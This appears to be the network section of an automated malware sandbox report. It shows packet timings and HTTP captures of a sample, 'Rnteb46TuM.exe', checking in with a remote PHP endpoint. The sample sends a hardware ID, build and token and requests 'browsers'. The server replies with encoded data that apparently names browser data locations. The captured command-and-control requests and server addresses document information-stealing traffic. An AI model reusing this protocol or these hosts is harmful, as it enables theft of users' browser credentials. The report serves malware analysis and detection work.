Jul 1, 2024 07:22:17.957156897 CEST	49812	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:17.957386017 CEST	49812	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:17.957453012 CEST	80	49811	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:17.957499027 CEST	49811	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:17.962099075 CEST	80	49812	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:18.664467096 CEST	80	49812	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:18.664556026 CEST	49812	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:18.667382002 CEST	49812	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:18.667789936 CEST	49813	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:18.675290108 CEST	80	49812	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:18.675355911 CEST	49812	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:18.675417900 CEST	80	49813	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:18.675808907 CEST	49813	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:18.676125050 CEST	49813	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:18.683413982 CEST	80	49813	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:18.683911085 CEST	49813	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:18.796174049 CEST	49814	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:18.801069021 CEST	80	49814	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:18.802592039 CEST	49814	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:18.802706003 CEST	49814	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:18.807521105 CEST	80	49814	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:19.523977041 CEST	80	49814	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:19.524049997 CEST	49814	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:19.527050018 CEST	49814	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:19.527487993 CEST	49815	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:19.532299042 CEST	80	49815	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:19.532310009 CEST	80	49814	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:19.532385111 CEST	49814	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:19.532399893 CEST	49815	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:19.532541990 CEST	49815	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:19.537270069 CEST	80	49815	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:20.230892897 CEST	80	49815	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:20.230969906 CEST	49815	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:20.342484951 CEST	49815	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:20.342772007 CEST	49816	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:20.348351955 CEST	80	49815	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:20.348368883 CEST	80	49816	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:20.348431110 CEST	49815	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:20.348460913 CEST	49816	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:20.348690033 CEST	49816	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:20.353518009 CEST	80	49816	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:21.034251928 CEST	80	49816	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:21.034528971 CEST	49816	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:21.037750959 CEST	49816	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:21.038419008 CEST	49817	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:21.043003082 CEST	80	49816	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:21.043081045 CEST	49816	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:21.043139935 CEST	80	49817	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:21.043210030 CEST	49817	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:21.043771982 CEST	49817	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:21.048726082 CEST	80	49817	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:21.769597054 CEST	80	49817	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:21.769692898 CEST	49817	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:21.877161026 CEST	49817	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:21.877546072 CEST	49818	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:21.882280111 CEST	80	49817	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:21.882334948 CEST	49817	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:21.882347107 CEST	80	49818	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:21.882401943 CEST	49818	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:21.883407116 CEST	49818	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:21.888492107 CEST	80	49818	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:22.568835020 CEST	80	49818	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:22.568909883 CEST	49818	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:22.572906017 CEST	49818	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:22.573273897 CEST	49819	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:22.577976942 CEST	80	49818	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:22.578025103 CEST	49818	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:22.578056097 CEST	80	49819	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:22.578155041 CEST	49819	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:22.578537941 CEST	49819	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:22.583920956 CEST	80	49819	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:23.267301083 CEST	80	49819	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:23.270298958 CEST	49819	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:23.374063969 CEST	49819	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:23.374346972 CEST	49820	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:23.379164934 CEST	80	49820	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:23.379323006 CEST	80	49819	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:23.379409075 CEST	49819	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:23.379641056 CEST	49820	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:23.379641056 CEST	49820	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:23.384470940 CEST	80	49820	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:24.096277952 CEST	80	49820	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:24.096540928 CEST	49820	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:24.099035025 CEST	49820	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:24.099479914 CEST	49821	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:24.107534885 CEST	80	49820	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:24.107599020 CEST	49820	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:24.107660055 CEST	80	49821	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:24.107887030 CEST	49821	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:24.108047009 CEST	49821	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:24.112797976 CEST	80	49821	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:24.820585966 CEST	80	49821	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:24.820878029 CEST	49821	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:24.936294079 CEST	49821	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:24.936630964 CEST	49822	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:24.941432953 CEST	80	49822	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:24.941546917 CEST	80	49821	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:24.941627026 CEST	49822	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:24.941627026 CEST	49821	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:24.941873074 CEST	49822	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:24.946625948 CEST	80	49822	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:25.637309074 CEST	80	49822	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:25.637427092 CEST	49822	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:25.640503883 CEST	49822	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:25.640801907 CEST	49823	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:25.649974108 CEST	80	49823	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:25.650083065 CEST	49823	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:25.650227070 CEST	80	49822	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:25.650248051 CEST	49823	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:25.650274038 CEST	49822	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:25.655100107 CEST	80	49823	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:26.340907097 CEST	80	49823	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:26.340981007 CEST	49823	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:26.452243090 CEST	49823	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:26.452554941 CEST	49824	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:26.457581043 CEST	80	49824	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:26.457750082 CEST	49824	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:26.457849979 CEST	80	49823	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:26.457988977 CEST	49823	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:26.458039999 CEST	49824	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:26.464222908 CEST	80	49824	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:27.172935009 CEST	80	49824	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:27.174566031 CEST	49824	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:27.177097082 CEST	49824	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:27.177387953 CEST	49825	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:27.182312965 CEST	80	49825	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:27.182790995 CEST	80	49824	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:27.182873964 CEST	49824	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:27.182883978 CEST	49825	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:27.183104992 CEST	49825	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:27.187948942 CEST	80	49825	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:27.891957998 CEST	80	49825	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:27.892245054 CEST	49825	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:27.999205112 CEST	49825	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:27.999598026 CEST	49826	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:28.009241104 CEST	80	49826	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:28.009558916 CEST	80	49825	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:28.009604931 CEST	49826	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:28.009634018 CEST	49825	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:28.010041952 CEST	49826	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:28.014903069 CEST	80	49826	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:28.750081062 CEST	80	49826	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:28.752744913 CEST	49826	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:28.755460978 CEST	49826	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:28.755800009 CEST	49827	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:28.765347958 CEST	80	49827	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:28.766119003 CEST	80	49826	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:28.766222000 CEST	49826	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:28.766534090 CEST	49827	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:28.766534090 CEST	49827	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:28.771302938 CEST	80	49827	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:29.473516941 CEST	80	49827	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:29.473754883 CEST	49827	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:29.577152014 CEST	49827	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:29.577498913 CEST	49828	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:29.582309961 CEST	80	49828	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:29.582328081 CEST	80	49827	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:29.582386017 CEST	49828	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:29.582412004 CEST	49827	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:29.582664013 CEST	49828	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:29.587511063 CEST	80	49828	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:30.266300917 CEST	80	49828	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:30.266380072 CEST	49828	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:30.269092083 CEST	49828	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:30.269433975 CEST	49829	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:30.274450064 CEST	80	49829	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:30.274521112 CEST	49829	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:30.274753094 CEST	49829	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:30.275161982 CEST	80	49828	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:30.276973009 CEST	49828	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:30.280231953 CEST	80	49829	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:30.972963095 CEST	80	49829	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:30.973037004 CEST	49829	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:31.080451012 CEST	49829	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:31.080761909 CEST	49830	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:31.085601091 CEST	80	49830	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:31.085655928 CEST	80	49829	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:31.085673094 CEST	49830	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:31.085711956 CEST	49829	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:31.085995913 CEST	49830	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:31.090807915 CEST	80	49830	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:31.781402111 CEST	80	49830	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:31.781483889 CEST	49830	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:31.784359932 CEST	49830	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:31.785757065 CEST	49831	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:31.789458990 CEST	80	49830	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:31.789567947 CEST	49830	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:31.790602922 CEST	80	49831	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:31.790676117 CEST	49831	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:31.791817904 CEST	49831	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:31.796637058 CEST	80	49831	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:32.479964972 CEST	80	49831	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:32.480036020 CEST	49831	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:32.592809916 CEST	49831	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:32.593103886 CEST	49832	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:32.597955942 CEST	80	49832	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:32.598021030 CEST	49832	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:32.598156929 CEST	49832	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:32.598388910 CEST	80	49831	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:32.598552942 CEST	49831	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:32.602868080 CEST	80	49832	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:33.303473949 CEST	80	49832	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:33.303539991 CEST	49832	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:33.306982040 CEST	49832	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:33.307360888 CEST	49833	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:33.312555075 CEST	80	49832	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:33.312741995 CEST	49832	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:33.312808037 CEST	80	49833	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:33.312880039 CEST	49833	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:33.313364983 CEST	49833	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:33.318547010 CEST	80	49833	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:34.046590090 CEST	80	49833	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:34.046724081 CEST	49833	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:34.155112028 CEST	49833	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:34.155375957 CEST	49834	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:34.160200119 CEST	80	49834	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:34.160233974 CEST	80	49833	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:34.162590981 CEST	49833	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:34.162806988 CEST	49834	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:34.162806988 CEST	49834	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:34.169064999 CEST	80	49834	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:34.856786013 CEST	80	49834	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:34.856867075 CEST	49834	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:34.864587069 CEST	49834	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:34.864861012 CEST	49835	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:34.869656086 CEST	80	49835	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:34.869687080 CEST	80	49834	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:34.869719028 CEST	49835	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:34.869770050 CEST	49834	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:34.869977951 CEST	49835	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:34.876082897 CEST	80	49835	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:35.563714981 CEST	80	49835	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:35.566593885 CEST	49835	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:35.718440056 CEST	49835	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:35.719053984 CEST	49836	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:35.723589897 CEST	80	49835	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:35.723665953 CEST	49835	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:35.723870039 CEST	80	49836	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:35.723939896 CEST	49836	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:35.724603891 CEST	49836	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:35.729393005 CEST	80	49836	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:36.428946972 CEST	80	49836	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:36.429035902 CEST	49836	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:36.431766987 CEST	49836	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:36.432132959 CEST	49837	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:36.436922073 CEST	80	49837	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:36.436944962 CEST	80	49836	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:36.436994076 CEST	49837	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:36.437033892 CEST	49836	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:36.437479973 CEST	49837	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:36.442243099 CEST	80	49837	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:37.125956059 CEST	80	49837	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:37.126130104 CEST	49837	80	192.168.2.6	77.91.77.82

HTTP Request Dependency Graph

85.28.47.4

77.91.77.81

77.91.77.82

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	85.28.47.4	80	6408	C:\Users\user\Desktop\Rnteb46TuM.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:20:33.729490042 CEST	411	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGCFCBAKKFBFIECAEBA Host: 85.28.47.4 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 31 30 30 34 37 42 42 42 30 42 38 33 39 34 36 30 39 38 34 33 32 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 2d 2d 0d 0a Data Ascii: ------GCGCFCBAKKFBFIECAEBAContent-Disposition: form-data; name="hwid"F10047BBB0B83946098432------GCGCFCBAKKFBFIECAEBAContent-Disposition: form-data; name="build"default------GCGCFCBAKKFBFIECAEBA--
Jul 1, 2024 07:20:34.382730007 CEST	384	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 05:20:34 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 156 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 6d 55 79 4d 7a 41 31 5a 57 49 31 4d 6d 4a 68 4e 57 4a 6a 5a 44 6b 79 4e 7a 63 31 4f 44 41 34 4e 47 4e 6a 4e 32 49 7a 59 6d 4e 6c 59 7a 5a 6d 4d 57 4d 35 4d 54 4d 79 4d 6d 56 6d 4d 6d 56 6b 59 6d 4d 79 4e 54 64 69 4e 44 6b 34 4e 54 45 77 4e 57 49 77 4e 44 6b 32 4e 54 51 77 4e 54 45 30 66 47 70 69 5a 48 52 68 61 57 70 76 64 6d 64 38 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 3d Data Ascii: NmUyMzA1ZWI1MmJhNWJjZDkyNzc1ODA4NGNjN2IzYmNlYzZmMWM5MTMyMmVmMmVkYmMyNTdiNDk4NTEwNWIwNDk2NTQwNTE0fGpiZHRhaWpvdmd8ZWltZWhydnpvZC5maWxlfDB8MHwxfDF8MXwxfDF8MXw=
Jul 1, 2024 07:20:34.392174959 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDAFIEHIEGDHIDGDGHD Host: 85.28.47.4 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 2d 2d 0d 0a Data Ascii: ------HJDAFIEHIEGDHIDGDGHDContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------HJDAFIEHIEGDHIDGDGHDContent-Disposition: form-data; name="message"browsers------HJDAFIEHIEGDHIDGDGHD--
Jul 1, 2024 07:20:34.579667091 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 05:20:34 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: 